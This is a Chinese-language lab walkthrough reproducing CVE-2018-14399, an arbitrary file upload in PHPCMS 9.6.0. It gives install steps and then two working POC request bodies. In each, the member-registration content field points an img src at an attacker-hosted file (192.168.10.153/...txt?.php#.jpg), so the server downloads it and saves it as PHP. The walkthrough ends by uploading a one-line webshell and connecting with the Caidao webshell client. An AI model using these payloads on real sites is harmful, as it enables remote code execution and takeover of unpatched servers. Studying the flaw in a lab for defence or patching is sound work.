phpcms v9.6.0任意文件上传漏洞(CVE-2018-14399)
一、漏洞描述
PHPCMS 9.6.0版本中的libs/classes/attachment.class.php文件存在漏洞,该漏洞源于PHPCMS程序在下载远程/本地文件时没有对文件的类型做正确的校验。远程攻击者可以利用该漏洞上传并执行任意的PHP代码。
二、漏洞影响版本
PHPCMS 9.6.0
三、漏洞环境搭建
1、 官方下载phpcms v9.6.0版本,下载地址: http://download.phpcms.cn/v9/9.6/
2、 解压下载的文件,然后把文件放到phpstudy的网站根目录下,浏览器访问192.168.10.171/phpcms/install/install.php,开始安装
3、一直点击下一步,在”选择模块”这个环节,选择”全新安装PHPCMS V9”
4、然后一直下一步,在”账号设置”这一块填写数据库账号和密码以及设置管理员密码
5、然后一直下一步,直到出现如下界面,说面成功安装
6、登录后台,生成首页
四、漏洞复现
1、浏览器访问前台,注册一个会员
2、点击注册页面,抓包
3、在另一个系统(kali),开启web服务,然后在web根目录下创建一个txt文件,写入如下信息
4、构造POC
siteid=1&modelid=11&username=test2&password=test2123&email=test2@163.com&info[content]=<img src=http://192.168.10.153/phpinfo.txt?.php#.jpg>&dosubmit=1&protocol=
5、修改抓包内容,添加POC
6、可以看到返回包的内容包含了上传文件的路径
7、浏览器访问
8、构造POC,上传一句话
POC内容:
siteid=1&modelid=11&username=testa&password=testa123&email=testa@163.com&info[content]=<img src=http://192.168.10.153/test.txt?.php#.jpg>&dosubmit=1&protocol=
9、修改数据包,添加POC,需要注意: 在repeater里测试go时每一次都要修改username,password和email字段值,保证不能重复。
10、可以看到返回包的内容包含了上传文件的路径
11、菜刀连接